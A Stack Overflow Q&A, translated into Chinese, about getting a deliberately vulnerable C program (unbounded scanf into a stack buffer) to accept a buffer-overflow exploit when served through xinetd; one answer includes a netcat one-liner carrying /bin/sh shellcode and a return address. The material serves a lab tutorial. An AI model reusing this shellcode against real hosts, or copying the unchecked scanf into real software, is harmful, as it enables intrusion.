【问题标题】:Simple buffer overflow via xinetd通过 xinetd 的简单缓冲区溢出
【发布时间】:2017-04-01 00:10:42
【问题描述】:

我正在尝试制作一个简单的缓冲区溢出教程,通过 xinetd 在端口 8000 上将下面的程序作为服务运行。代码是使用

编译的
gcc -o bof bof.c -fno-stack-protector 

ubuntu 也关闭了堆栈保护。

利用本地即

python -c ---snippet--- | ./bof 

成功并执行了隐藏功能,显示文本文件内容。

但是,将其作为服务运行并执行

python -c ---snippet--- | nc localhost 8000

利用时不返回任何内容。我在这里遗漏了什么吗?

#include <stdio.h>

void secret()
{
    int c;
    FILE *file;
    file = fopen("congratulations.txt", "r");
    if (file) {
    while ((c= getc(file)) !=EOF)
    putchar(c);
    fclose(file);


}

void textdisplay()
{
    char buffer[56];

    scanf("%s", buffer);
    printf("You entered: %s\n", buffer);
}

int main()
{
    textdisplay();

    return 0;
}

【问题讨论】:

  • 在 stackoverflow.com 寻求帮助之前,您缺少一些可以自己进行的分析。例如,使用 strace 来验证 xinetd 确实按预期分叉并执行您的服务器进程,并且您的服务器进程成功地读取()了漏洞。

标签: c buffer-overflow


【解决方案1】:

默认情况下会缓冲输出。要禁用此功能,您可以在 main 顶部执行以下操作:

setbuf(stdin, NULL);

这应该可以解决您的问题。

【讨论】:

    【解决方案2】:

    这也是我遇到的问题。几乎完全一样。

    但是,我发现这里有一篇文章可能对您有所帮助。我认为这个问题与 xinetd 没有将二进制文件作为终端执行并具有作业控制有关。

    所以我所做的就是让 xinetd 做:

    server = /usr/bin/python
    server_args = /opt/shell.py
    

    然后在 /opt/shell.py 我有:

    import pty
    pty.spawn("/opt/oflow.elf")
    

    /opt/oflow.elf 是我溢出的二进制文件

    当我这样做时,我实际上可以发送和接收数据。那是当我通过 netcat 运行以下命令来尝试远程溢出服务时:

    **printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNOPQ\x7c\xfc\xff\xbf" | nc 192.168.1.2 9000**
    

    这没有任何作用。但是,我测试了本地版本,它运行良好。每次都有效。

    当它被包裹在 python pty 和 xinetd 中时不会。

    当我运行直接指向 /opt/oflow.elf 的 xinetd 时,我绝对没有从 netcat 得到任何回报。

    所以这并不能完全回答你的问题,但它应该为你减少它。

    更新的完整答案:

    我知道为什么这不起作用。根本不需要使用python。在每个 printf 语句之后,您还必须包括:

    fflush(stdout);
    

    否则,xinetd 不知道发送标准输出。

    您可能还需要为 stdin 执行此操作:

    fflush(stdin);
    

    【讨论】:

      猜你喜欢
      • 2016-02-07
      • 1970-01-01
      • 2011-12-19
      • 2015-12-16
      • 1970-01-01
      • 2010-11-11
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多